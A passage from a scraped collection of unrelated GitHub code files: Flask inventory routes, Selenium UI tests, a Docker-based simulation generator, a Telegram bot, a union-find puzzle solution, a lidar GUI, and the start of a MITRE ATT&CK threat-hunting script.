user_id = g.user.get_id()\n return adicionar_estoque(user_id)\n\n\n@app.route('/listar-estoque', methods=['GET', 'POST'])\n@login_required\ndef listar_estoque_endpoint():\n user_id = g.user.get_id()\n return listar_estoque(user_id)\n\n\n@app.route('/editar-estoque/', methods=['GET', 'POST'])\n@login_required\ndef editar_estoque_endpoint(id):\n user_id = g.user.get_id()\n return editar_estoque(id, user_id)\n\n\n@app.route('/deletar-estoque/', methods=['GET', 'POST'])\n@login_required\ndef deletar_estoque_endpoint(id):\n user_id = g.user.get_id()\n return deletar_estoque(id, user_id)\n","repo_name":"ES-UFABC/Grupo-17-gerenciador_hoteis","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"43303265915","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\n\n\nclass RahulShettyAcademy:\n URL = \"https://www.rahulshettyacademy.com/AutomationPractice/\"\n s = Service('.\\\\chromedriver.exe')\n countryName = \"Arm\"\n test_name = \"Karen\"\n\n def setUp(self):\n self.driver = webdriver.Chrome(service=self.s)\n self.driver.get(self.URL)\n self.driver.maximize_window()\n\n def test_title(self):\n assert \"Practice Page\" in self.driver.title\n\n def test_radio_btn(self):\n self.driver.find_element(By.XPATH, '//input[@value=\"radio3\"]').click()\n assert self.driver.find_element(By.XPATH, '//input[@value=\"radio3\"]').is_selected()\n\n def test_suggesstion_country(self):\n country_field = self.driver.find_element(By.ID, \"autocomplete\")\n country_field.send_keys(self.countryName)\n self.driver.implicitly_wait(5);\n self.driver.find_element(By.ID, \"ui-id-1\").click()\n\n def test_dropdown_example(self):\n self.driver.find_element(By.ID, \"dropdown-class-example\").click()\n self.driver.implicitly_wait(5)\n self.driver.find_element(By.XPATH, '//option[@value=\"option3\"]').click()\n assert self.driver.find_element(By.XPATH, '//option[@value=\"option3\"]').is_selected()\n\n def test_checkbox(self):\n self.driver.find_element(By.ID, \"checkBoxOption1\").click()\n assert self.driver.find_element(By.ID, \"checkBoxOption1\").is_selected()\n\n def test_open_window(self):\n self.driver.find_element(By.ID, \"openwindow\").click()\n parrent_handle = self.driver.current_window_handle\n all_handles = self.driver.window_handles\n title_to_assert = \"QA Click Academy | Selenium,Jmeter,SoapUI,Appium,Database testing,QA Training Academy\"\n for handle in all_handles:\n if handle != parrent_handle:\n self.driver.switch_to.window(handle)\n self.driver.find_element(By.XPATH, '//div[@style=\"position: absolute;'\n ' inset: 0px; box-shadow: rgba(0, 0, 0, 0)'\n ' 0px 0px 0px inset;\"]').click()\n self.driver.maximize_window()\n assert title_to_assert in self.driver.title\n self.driver.close()\n break\n self.driver.switch_to.window(parrent_handle)\n\n def test_switch_tab_example(self):\n self.driver.find_element(By.ID, \"opentab\").click()\n parrent_handle = self.driver.current_window_handle\n all_handles = self.driver.window_handles\n title_to_assert = \"Rahul Shetty Academy Blog – All things about Software testing\"\n for handle in all_handles:\n if handle != parrent_handle:\n self.driver.switch_to.window(handle)\n self.driver.find_element(By.XPATH, '/html/body/div/header/div[3]/div/'\n 'div/div[2]/nav/div[2]/ul/li[8]/a').click()\n assert title_to_assert in self.driver.title\n self.driver.close()\n break\n self.driver.switch_to.window(parrent_handle)\n\n def test_switch_to_alert_example(self):\n self.driver.find_element(By.ID, \"name\").send_keys(self.test_name)\n self.driver.find_element(By.ID, \"alertbtn\").click()\n self.driver.switch_to.alert.accept()\n self.driver.find_element(By.ID, \"name\").send_keys(self.test_name)\n self.driver.find_element(By.ID, \"confirmbtn\").click()\n self.driver.switch_to.alert.dismiss()\n\n def test_element_displayed_example(self):\n self.driver.execute_script(\"window.scrollTo(0,200)\")\n self.driver.find_element(By.ID, \"hide-textbox\").click()\n assert self.driver.find_element(By.XPATH, '//*[@style =\"display: none;\"]')\n self.driver.find_element(By.ID, \"show-textbox\").click()\n assert self.driver.find_element(By.XPATH, '//*[@style =\"display: block;\"]')\n\n\n def test_web_table_fixed_header(self):\n action = ActionChains(self.driver)\n element = self.driver.find_element(By.XPATH,'/html/body/div[3]/div[2]/fieldset[2]/div[1]')\n self.driver.implicitly_wait(5)\n action.move_to_element(element).perform()\n self.driver.execute_script(\"arguments[0].scrollTop = 200\", element)\n\n\n def test_mouse_hover(self):\n action = ActionChains(self.driver)\n mouse_hover = self.driver.find_element(By.ID, \"mousehover\")\n action.move_to_element(mouse_hover).perform()\n top = self.driver.find_element(By.XPATH,\"/html/body/div[4]/div/fieldset/div/div/a[1]\")\n action.move_to_element(top).click().perform()\n self.driver.implicitly_wait(5)\n action.move_to_element(mouse_hover).perform()\n reload = self.driver.find_element(By.XPATH,\"/html/body/div[4]/div/fieldset/div/div/a[2]\")\n action.move_to_element(reload).click().perform()\n\n\n def test_iframes(self):\n iframe = self.driver.find_element(By.ID,\"courses-iframe\")\n self.driver.switch_to.frame(iframe)\n all_access_plan = self.driver.find_element(By.XPATH, \"/html/body/div/header/div[3]/div/div/div[2]/nav/div[2]/ul/li[3]/a\")\n self.driver.implicitly_wait(3)\n all_access_plan.click()\n\n def tearDown(self):\n self.driver.close()\n\n\nrahul = RahulShettyAcademy()\nrahul.setUp()\nrahul.test_title()\nrahul.test_radio_btn()\nrahul.test_suggesstion_country()\nrahul.test_dropdown_example()\nrahul.test_checkbox()\nrahul.test_open_window()\nrahul.test_switch_tab_example()\nrahul.test_switch_to_alert_example()\nrahul.test_element_displayed_example()\nrahul.test_web_table_fixed_header()\nrahul.test_mouse_hover()\nrahul.test_iframes()\nrahul.tearDown()\n","repo_name":"KarenMeliq/RahulShettyAcademy","sub_path":"RahulShettyAcademy.py","file_name":"RahulShettyAcademy.py","file_ext":"py","file_size_in_byte":5828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"73082720115","text":"from pyevsim import BehaviorModelExecutor, Infinite, SysMessage\nimport sys, os\nimport zmq\nimport json\nfrom datetime import datetime\nfrom config import *\nfrom pymongo import MongoClient, DESCENDING\nfrom threading import Thread\nimport time\n\nclass ContainerGeneratorModel(BehaviorModelExecutor):\n def __init__(self, instance_time, destruct_time, name, engine_name, engine, human_info, human_profile, port):\n BehaviorModelExecutor.__init__(self, instance_time, destruct_time, name, engine_name)\n \n # Init Engine\n self.engine = engine\n self.port = port\n \n # Init ZMQ Socket\n self.context = zmq.Context()\n # self.dealer= self.zmq_dealer_init()\n self.router= self.zmq_router_init()\n \n # # Init MongoDB\n self.mongo_client= MongoClient(MongoDBConfig.host, MongoDBConfig.port)\n \n # Define State\n self.init_state(ContainerGeneratorConfig.PROCESSING)\n \n self.insert_state(ContainerGeneratorConfig.IDLE, Infinite)\n self.insert_state(ContainerGeneratorConfig.PROCESSING, 1)\n \n # Define Port\n self.insert_input_port(ContainerGeneratorConfig.start)\n self.insert_input_port(ContainerGeneratorConfig.fin)\n \n self.insert_output_port(ContainerGeneratorConfig.out)\n \n # Get Human Data\n self.human_info = human_info\n self.human_profile = human_profile\n \n self.db_insert_list= []\n \n self.instance_count= 0\n\n self.container_list = []\n \n def ext_trans(self, port, msg):\n if port == ContainerGeneratorConfig.start:\n self._cur_state = ContainerGeneratorConfig.PROCESSING\n \n elif port == ContainerGeneratorConfig.fin:\n self._cur_state = ContainerGeneratorConfig.IDLE\n \n def output(self):\n if self._cur_state == ContainerGeneratorConfig.PROCESSING:\n #TODO refer DB, Create Docker Container\n\n human_info_string= self.human_data_preprocessing()\n print(f'[Generator Model]: human_info_string = {human_info_string}')\n \n start_time = str(datetime.now().isoformat(timespec=\"seconds\"))\n \n # Create Agent Containers\n for i in range(PyrexiaDsimConfig.instance_number):\n agent_container_name = f'{self.human_info[\"human_id\"]}_{i}_' + human_info_string\n self.container_list.append(agent_container_name)\n self.run_containers(agent_container_name) \n \n \n \n self.check_container_instance(start_time)\n \n \n collection_name = start_time + \"/\" + self.human_info[\"human_id\"]\n self.mongo_client[\"pyrexiasim_log\"][collection_name].insert_many(self.db_insert_list)\n \n self.stop_containers()\n \n # self.engine.remove_entity(self.human_info[\"human_id\"])\n \n # Destroy ZMQ\n self.zmq_destroy()\n message = SysMessage(self.get_name(), ContainerGeneratorConfig.out)\n message.insert(self.get_name())\n \n return message\n \n elif self._cur_state == ContainerGeneratorConfig.IDLE:\n print(\"[Generator Model]: IDLE\")\n \n def int_trans(self):\n if self._cur_state == ContainerGeneratorConfig.PROCESSING:\n self._cur_state = ContainerGeneratorConfig.IDLE\n \n elif self._cur_state == ContainerGeneratorConfig.IDLE:\n self._cur_state = ContainerGeneratorConfig.PROCESSING \n \n def human_data_preprocessing(self):\n # DB에서 human_id에 해당하는 데이터 조회\n disease = None\n\n # Preprocessing States\n #worked_time= human_info[\"worked_times\"].split(\":\")\n\n site_id= self.human_info[\"site_id\"][6:]\n \n # Preprocessing Gender\n if self.human_profile[\"gender\"] == \"male\":\n gender= Gender.MALE.value\n \n else:\n gender= Gender.FEMALE.value\n \n # Preprocessing Disease\n if self.human_profile[\"chronic_disease\"] == \"arthritis\":\n disease= ChronicDisease.ARTHRITIS.value\n \n elif self.human_profile[\"chronic_disease\"] == \"hypertension\":\n disease= ChronicDisease.HYPERTENSION.value\n \n elif self.human_profile[\"chronic_disease\"] == \"hypacusis\":\n disease= ChronicDisease.HYPACUSIS.value\n \n elif self.human_profile[\"chronic_disease\"] == \"hyperthermia\":\n disease= ChronicDisease.HYPERTHERMIA.value\n \n elif self.human_profile[\"chronic_disease\"] == \"diabetes-mellitus\":\n disease= ChronicDisease.DIABETES_MELLITUS.value\n \n height= self.human_profile[\"height\"]\n \n weight= self.human_profile[\"weight\"]\n \n \n human_info_string= f\"{self.human_info['worked_times']}_{site_id}_{self.human_info['health']}_{gender}_{disease}_{height}_{weight}_{self.human_info['heart_rate']}\"\n \n return human_info_string\n \n def run_containers(self, agent_container_name): \n agent_container_image = AgentContainerConfig.image_name\n \n ##### REVIEW: agnet_container를 생성할 떄 base model의 데이터를 전달하는 방법 고려 필요. ENV, CMD, 통신 등 ...\n ##### ANSWER: zmq통신을 사용해아될것으로 보임(generator - agent간의 통신 -> 이부분은 agent에 어느정도 고려가 되어있음).\n try :\n os.system(f\"docker run -d -e CONTAINER_NAME={agent_container_name} -e PORT={self.port} --name {agent_container_name} {agent_container_image}\")\n print(f'[Generator Model]: Container {agent_container_name} is Now Running!!')\n\n except:\n os.system(f\"docker start {agent_container_name}\")\n print(f'[Generator Model]: Container {agent_container_name} is Now Starting!!')\n \n def check_container_instance(self, start_time):\n while True:\n print(\"[Generator Model]: Router - Waiting...\")\n identity, message = self.router.recv_multipart()\n message= json.loads(message.decode())\n if message['message'] == 'start':\n print(f'[Generator Model]: {identity} : {start_time}')\n self.router.send_multipart([identity, f\"{start_time}\".encode(\"utf-8\")])\n \n if message['message'] == 'done':\n self.instance_count += 1\n self.db_insert_list.append(message[\"data\"])\n \n print(f\"{message['container_name']} --> Done\")\n \n if self.instance_count == PyrexiaDsimConfig.instance_number:\n print(\"[Generator Model]: All Container Created!\")\n break \n \n def stop_containers(self) :\n \n ##### REVIEW: 1회성 연산 컨테이너이기 때문에 stop보다 kill이 더 효율적일듯 함(속도, 메모리 측면에서)\n # print(f'\\nStopping {agent_container_name} ...')\n # os.system(f\"docker stop {agent_container_name}\") # Docker Stop\n # print(f'Deleting {agent_container_name}...')\n # os.system(f'docker rm {agent_container_name}') # Docker rm\n # print(f'{agent_container_name} Deleted!!\\n')\n \n # print(f'\\nStopping ALL ...')\n for container_name in self.container_list:\n print(f\"Removing {container_name}\")\n # os.system(f\"docker kill $(docker ps -aq)\") # Docker Stop\n os.system(f\"docker kill {container_name}\") # Docker Stop\n os.system(f'docker rm {container_name}')\n #print(f'Deleting {agent_container_name}...')\n\n # os.system(f'docker rm $(docker ps -aq)') # Docker rm\n # os.system(f'docker rm ${self.container_list}') # Docker rm\n\n #print(f'{agent_container_name} Deleted!!\\n')\n print(f'All Container Deleted')\n \n def zmq_dealer_init(self):\n socket = self.context.socket(zmq.DEALER)\n socket.connect(f\"tcp://{ZMQ_NetworkConfig.generator_d_host}:{ZMQ_NetworkConfig.generator_d_port}\")\n \n return socket \n \n def zmq_router_init(self):\n socket = self.context.socket(zmq.ROUTER)\n socket.bind(f\"tcp://{ZMQ_NetworkConfig.generator_r_host}:{self.port}\")\n \n return socket\n \n def zmq_destroy(self):\n # self.dealer.close()\n self.router.close()\n self.context.term()","repo_name":"zzanggyusik/2023ETRI","sub_path":"PyrexiaDsim/container_generator_model.py","file_name":"container_generator_model.py","file_ext":"py","file_size_in_byte":8620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"18043240466","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport telebot\nimport os #Biblioteca para obtener las variables de entorno\nimport psycopg2\nfrom funcionesBD import Actividad\n\ntoken = os.environ[\"TOKEN\"]#Accedemos a las variables de entorno (configuradas en travis y heroku)\nbot = telebot.TeleBot(token)\n\n@bot.message_handler(commands=['start', 'help'])\ndef send_welcome(message):\n\tbot.reply_to(message, \"Howdy, how are you doing?\")\n\n@bot.message_handler(commands=['actividades'])\ndef send_activity(message):\n\tcid = message.chat.id\n\tact=Actividad()\n\tconsulta=act.consultarActividad(1)\n\t# vuelta=\"Título: \"+titulo+\" Descripción: \"+descripcion\n\tbot.send_message(cid, consulta)\n\n@bot.message_handler(func=lambda m: True)\ndef echo_all(message):\n\tbot.reply_to(message, message.text)\n\nbot.polling(none_stop=True)\n","repo_name":"Maverick94/IV_Proyecto","sub_path":"botActividadesEtsiit/bot_actividad.py","file_name":"bot_actividad.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"74337038194","text":"class Solution:\n def latestDayToCross(self, row: int, col: int, cells: List[List[int]]) -> int:\n \n union_find = UnionFind(row, col)\n \n def inBound(r, c):\n return 0 <= r < row and 0 <= c < col\n \n directions = [(1, 0), (0, 1), (-1, 0), (0, -1)] \n\n grid = [[1 for i in range(col)] for j in range(row)]\n\n for i in range(len(cells) -1, -1, -1):\n r, c = cells[i]\n grid[r-1][c-1] = 0\n node1 = (r-1, c-1)\n for dr, dc in directions:\n new_r, new_c = r + dr - 1, dc + c - 1\n node2 = (new_r, new_c)\n \n if inBound(new_r, new_c) and grid[new_r][new_c] == 0:\n union_find.union(node1, node2)\n \n \n if r == 1:\n union_find.union((-1,-1), node1)\n \n if r == row:\n union_find.union((row, col), node1)\n \n if union_find.find((-1,-1)) == union_find.find((row, col)):\n return i\n \n \nclass UnionFind:\n def __init__(self, row, col):\n self.parents = {}\n self.rank = {}\n \n self.parents[(-1, -1)] = (-1, -1)\n self.parents[(row, col)] = (row, col)\n \n self.rank[(-1, -1)] = 1\n self.rank[(row, col)] = 1\n \n for i in range(row):\n for j in range(col):\n self.parents[(i, j)] = (i, j)\n self.rank[(i, j)] = 1\n \n \n def find(self, node):\n root = node\n while root != self.parents[root]:\n root = self.parents[root]\n\n while node != self.parents[node]:\n temp = self.parents[node]\n self.parents[node] = root\n node = temp\n return root\n \n def union(self, a, b):\n\n p1, p2 = self.find(a), self.find(b)\n\n if self.rank[a] > self.rank[b]:\n p1, p2 = p2, p1\n \n self.parents[p1] = p2\n self.rank[p2] += self.rank[p1]\n","repo_name":"Stargazing-11/A2SV","sub_path":"1970-last-day-where-you-can-still-cross/1970-last-day-where-you-can-still-cross.py","file_name":"1970-last-day-where-you-can-still-cross.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"36714336784","text":"# import pyqtgraph.examples\r\n# pyqtgraph.examples.run()\r\n\r\n# !/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nUpdate a simp\r\nle plot as rapidly as possible to measure speed.\r\n\"\"\"\r\n\r\nfrom pyqtgraph.Qt import QtCore, QtGui\r\nimport pyqtgraph as pg\r\nfrom lidar_tools import *\r\nfrom rplidar import RPLidar\r\n\r\ndef stopLidar():\r\n global timer, lidar\r\n timer.stop()\r\n lidar.stop()\r\n lidar.stop_motor()\r\n lidar.disconnect()\r\n lidar = None\r\n\r\ndef initLidar():\r\n global lidar, timer, ui\r\n try:\r\n lidar = RPLidar('/dev/tty.SLAB_USBtoUART')\r\n info = lidar.get_info()\r\n print(info)\r\n health = lidar.get_health()\r\n print(health)\r\n iterator = lidar.iter_scans(max_buf_meas=2000)\r\n next(iterator)\r\n next(iterator)\r\n next(iterator)\r\n ui.iterator = iterator\r\n ui.lidarFailed.connect(stopLidar)\r\n timer.timeout.connect(ui.update)\r\n timer.start(1) # update frequency\r\n return True\r\n except:\r\n print(\"Lidar failed, Check connection!\")\r\n stopLidar()\r\n return False\r\n\r\ndef connectDisconnect():\r\n global lidar\r\n if ui.buttonConnectDisconnect.text() == \"Connect\":\r\n if lidar == None and initLidar() == True:\r\n ui.buttonConnectDisconnect.setText(\"Disconnect\")\r\n else:\r\n stopLidar()\r\n ui.buttonConnectDisconnect.setText(\"Connect\")\r\n\r\ntimer = QtCore.QTimer()\r\nlidar = None\r\n\r\napp = QtGui.QApplication([\"\"])\r\nmw = QtGui.QMainWindow()\r\nmw.showMaximized()\r\n# mw.resize(1600,800)\r\nview = pg.GraphicsLayoutWidget() ## GraphicsView with GraphicsLayout inserted by default\r\nmw.setCentralWidget(view)\r\nui = LidarGUI()\r\nui.setupUI(view)\r\n# ui.setRobotPos(3000,-30,-10)\r\nmw.show()\r\nui.buttonConnectDisconnect.clicked.connect(connectDisconnect)\r\npg.QtGui.QApplication.exec_()","repo_name":"tungdnguyen/nasa-robot","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"21205174053","text":"from ast import Store\nfrom numpy import append\nfrom shodan import Shodan\nfrom stix2 import TAXIICollectionSource, MemorySource, Filter\nfrom taxii2client.v20 import Collection\nfrom collections import Counter\nimport vt, requests, json, re, argparse, csv, io, tqdm\n\nparser = argparse.ArgumentParser(description=\"OpenHunt: Tailored Threat Hunting Information\")\nparser.add_argument(\"-m\", \"--mode\", type=str, help=\"TTP or IOC\")\nparser.add_argument(\"-f\", \"--file\", type=str, help=\"Use CSV file of TTPS insteald of exporting MITRE current info\")\nparser.add_argument(\"--origin\", action=\"append\", type=str, help=\"Filter on the threat actors' affiliation or country of origin\")\nparser.add_argument(\"--target\", action=\"append\", type=str, help=\"Filter on the threat actors' targets\")\nparser.add_argument(\"-l\", \"--limit\", type=int, default=10, help=\"Top X most common techniques where X is the input (default: 10)\")\nparser.add_argument(\"-i\", \"--ioc\", type=str, help=\"IOC value\")\nparser.add_argument(\"--logical-and\", action=\"store_true\", default=False, help=\"Only match on groups that satisfy all of the parameters\")\nparser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", default=False, help=\"Increase verbosity\")\nparser.add_argument(\"-pi\", \"--parent-images\", type=str, help=\"Rename the ParentImageSHA256 field\", default=\"ParentImageSHA256\")\nparser.add_argument(\"-in\", \"--image-names\", type=str, help=\"Rename the Image field\", default=\"ImageNames\")\nparser.add_argument(\"-ih\", \"--image-hashes\", type=str, help=\"Rename the Image field\", default=\"ImageHashes\")\nparser.add_argument(\"-tf\", \"--target-files\", type=str, help=\"Rename the TargetFileHash field\", default=\"TargetFileHash\")\nparser.add_argument(\"-cd\", \"--contacted-domains\", type=str, help=\"Rename the ContactedDomains field\", default=\"ContactedDomains\")\nparser.add_argument(\"-ci\", \"--contacted-ips\", type=str, help=\"Rename the ContactedIPs field\", default=\"ContactedIPs\")\nparser.add_argument(\"-rf\", \"--referrer-files\", type=str, help=\"Rename the ReferrerFiles field\", default=\"ReferrerFiles\")\nparser.add_argument(\"-cf\", \"--communicating-files\", type=str, help=\"Rename the CommunicatingFiles field\", default=\"CommunicatingFiles\")\nparser.add_argument(\"-df\", \"--downloaded-files\", type=str, help=\"Rename the DownloadedFiles field\", default=\"DownloadedFiles\")\n\nargs = parser.parse_args()\nmode = args.mode\nioc = args.ioc\nglobal_PI = args.parent_images\nglobal_IN = args.image_names\nglobal_IH = args.image_hashes\nglobal_TF = args.target_files\nglobal_CD = args.contacted_domains\nglobal_CI = args.contacted_ips\nglobal_RF = args.referrer_files\nglobal_CF = args.communicating_files\nglobal_DF = args.downloaded_files\nglobal_verbose = args.verbose\nlimit = args.limit\naffiliations_from_input = args.origin\nfilename = args.file\ntargets_from_input = args.target\nlogical_and = args.logical_and\n\nkeys = json.load(open(\"json/keys.json\"))\nvirustotal_api_key = str(keys[\"api_keys\"][\"virustotal\"])\nshodan_api_key = str(keys[\"api_keys\"][\"shodan\"])\n\nsigma_data = \"\"\nsigma_file = open(\"sigma/template.yaml\")\nlines = sigma_file.readlines()\nfor line in lines:\n sigma_data += line\n\ndef mitre(affiliations_from_input, targets_from_input, limit, filename):\n # Adapted from https://github.com/mitre-attack/attack-scripts\n def build_taxii_source():\n \"\"\"Downloads latest Enterprise or Mobile ATT&CK content from MITRE TAXII Server.\"\"\"\n # Establish TAXII2 Collection instance for Enterprise ATT&CK collection\n collection_map = {\n \"enterprise_attack\": \"95ecc380-afe9-11e4-9b6c-751b66dd541e\",\n \"mobile_attack\": \"2f669986-b40b-4423-b720-4396ca6a462b\"\n }\n collection_url = \"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/\"\n collection = Collection(collection_url)\n taxii_ds = TAXIICollectionSource(collection)\n\n # Create an in-memory source (to prevent multiple web requests)\n return MemorySource(stix_data=taxii_ds.query())\n\n def get_all_techniques(src, source_name, tactic=None):\n \"\"\"Filters data source by attack-pattern which extracts all ATT&CK Techniques\"\"\"\n filters = [\n Filter(\"type\", \"=\", \"attack-pattern\"),\n Filter(\"external_references.source_name\", \"=\", source_name),\n ]\n if tactic:\n filters.append(Filter('kill_chain_phases.phase_name', '=', tactic))\n\n results = src.query(filters)\n return remove_deprecated(results)\n\n def filter_for_term_relationships(src, relationship_type, object_id, target=True):\n \"\"\"Filters data source by type, relationship_type and source or target\"\"\"\n filters = [\n Filter(\"type\", \"=\", \"relationship\"),\n Filter(\"relationship_type\", \"=\", relationship_type),\n ]\n if target:\n filters.append(Filter(\"target_ref\", \"=\", object_id))\n else:\n filters.append(Filter(\"source_ref\", \"=\", object_id))\n\n results = src.query(filters)\n return remove_deprecated(results)\n\n def filter_by_type_and_id(src, object_type, object_id, source_name):\n \"\"\"Filters data source by id and type\"\"\"\n filters = [\n Filter(\"type\", \"=\", object_type),\n Filter(\"id\", \"=\", object_id),\n Filter(\"external_references.source_name\", \"=\", source_name),\n ]\n results = src.query(filters)\n return remove_deprecated(results)\n\n def grab_external_id(stix_object, source_name):\n \"\"\"Grab external id from STIX2 object\"\"\"\n for external_reference in stix_object.get(\"external_references\", []):\n if external_reference.get(\"source_name\") == source_name:\n return external_reference[\"external_id\"]\n\n def remove_deprecated(stix_objects):\n \"\"\"Will remove any revoked or deprecated objects from queries made to the data source\"\"\"\n # Note we use .get() because the property may not be present in the JSON data. The default is False\n # if the property is not set.\n return list(\n filter(\n lambda x: x.get(\"x_mitre_deprecated\", False) is False and x.get(\"revoked\", False) is False,\n stix_objects\n )\n )\n\n def escape_chars(a_string):\n \"\"\"Some characters create problems when written to file\"\"\"\n return a_string.translate(str.maketrans({\n \"\\n\": r\"\\\\n\",\n }))\n\n def do_mapping(ds, fieldnames, relationship_type, type_filter, source_name, sorting_keys, tactic=None):\n \"\"\"Main logic to map techniques to mitigations, groups or software\"\"\"\n all_attack_patterns = get_all_techniques(ds, source_name, tactic)\n writable_results = []\n\n for attack_pattern in tqdm.tqdm(all_attack_patterns, desc=\"parsing data for techniques\"):\n # Grabs relationships for identified techniques\n relationships = filter_for_term_relationships(ds, relationship_type, attack_pattern.id)\n\n for relationship in relationships:\n # Groups are defined in STIX as intrusion-set objects\n # Mitigations are defined in STIX as course-of-action objects\n # Software are defined in STIX as malware objects\n stix_results = filter_by_type_and_id(ds, type_filter, relationship.source_ref, source_name)\n\n if stix_results:\n row_data = (\n grab_external_id(attack_pattern, source_name),\n attack_pattern.name,\n grab_external_id(stix_results[0], source_name),\n stix_results[0].name,\n escape_chars(stix_results[0].description),\n escape_chars(relationship.description),\n )\n\n writable_results.append(dict(zip(fieldnames, row_data)))\n\n return sorted(writable_results, key=lambda x: (x[sorting_keys[0]], x[sorting_keys[1]]))\n\n def main(affiliations_from_input, targets_from_input, logical_and, limit, filename):\n # Source: https://attack.mitre.org/groups/\n # 133 Groups on 10/15/2022\n # File Hash: 79FCC4E1689077298F221F550A41550492A7866BDD1DCFCAF027779E62788134\n groups = []\n strict_groups = []\n ttps = []\n num_args = 0\n mappings = json.load(open(\"json/mappings.json\"))\n\n if affiliations_from_input != None:\n if len(affiliations_from_input) == 1 and affiliations_from_input[0] == \"all\":\n affiliations_from_input = mappings[\"origins\"][\"countries\"]\n num_args += len(affiliations_from_input)\n for affiliation_input in affiliations_from_input:\n for group in mappings[\"origins\"][\"countries\"][affiliation_input]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on origin: \" + affiliation_input)\n # Continents contain \"countries or regions\" which contain territories\n if targets_from_input != None:\n num_args += len(targets_from_input)\n for target_from_input in targets_from_input:\n for continent in mappings[\"targets\"][\"continents\"]:\n # if target is a continent\n if target_from_input == continent:\n # add direct groups\n for group in mappings[\"targets\"][\"continents\"][continent][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on target: \" + target_from_input)\n try:\n # if target has sub-regions\n if mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"]:\n for country_or_region in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"]:\n # add sub-regions groups\n for group in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Adding group \\\"\" + group + \"\\\" based on target sub-region: \" + country_or_region)\n try:\n # if sub-region has a territory\n if mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"]:\n for territory in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"]:\n # add territory's groups\n for group in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"][territory]:\n groups.append(group)\n if global_verbose:\n print(\"Adding group \\\"\" + group + \"\\\" based on target sub-region: \" + territory)\n except KeyError:\n pass\n except KeyError:\n pass\n try:\n # if target is a country or region\n if target_from_input in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"]:\n for country_or_region in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"]:\n if target_from_input == country_or_region:\n for group in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on target: \" + target_from_input)\n try:\n # add groups for territories\n if mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"]:\n for territory in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"]:\n for group in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"][territory][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Adding group \\\"\" + group + \"\\\" based on target sub-region: \" + territory)\n except KeyError:\n pass\n except KeyError:\n pass\n # if target is a territory\n try:\n if mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"]:\n for country_or_region in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"]:\n try:\n if mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"]:\n for territory in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"]:\n if target_from_input == territory:\n for group in mappings[\"targets\"][\"continents\"][continent][\"countries_or_regions\"][country_or_region][\"territories\"][territory][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on target: \" + target_from_input)\n except KeyError:\n pass\n except KeyError:\n pass\n\n for sector in mappings[\"targets\"][\"sectors\"]:\n if target_from_input == sector:\n try:\n for group in mappings[\"targets\"][\"sectors\"][sector][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on target: \" + target_from_input)\n except KeyError:\n pass\n try:\n if mappings[\"targets\"][\"sectors\"][sector][\"subsectors\"]:\n for subsector in mappings[\"targets\"][\"sectors\"][sector][\"subsectors\"]:\n for group in mappings[\"targets\"][\"sectors\"][sector][\"subsectors\"][subsector][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on target subsector: \" + subsector)\n except KeyError:\n pass\n else:\n try:\n for subsector in mappings[\"targets\"][\"sectors\"][sector][\"subsectors\"]:\n if target_from_input == subsector:\n for group in mappings[\"targets\"][\"sectors\"][sector][\"subsectors\"][subsector][\"groups\"]:\n groups.append(group)\n if global_verbose:\n print(\"Found group \\\"\" + group + \"\\\" based on target subsector: \" + subsector)\n except KeyError:\n pass\n\n if logical_and == True:\n for group in groups:\n if groups.count(group) == num_args:\n strict_groups.append(group)\n groups = set(strict_groups)\n if global_verbose:\n for group in groups:\n print(\"Found group that satisfies all criteria: \" + group)\n\n if filename == None:\n data_source = build_taxii_source()\n source_name = 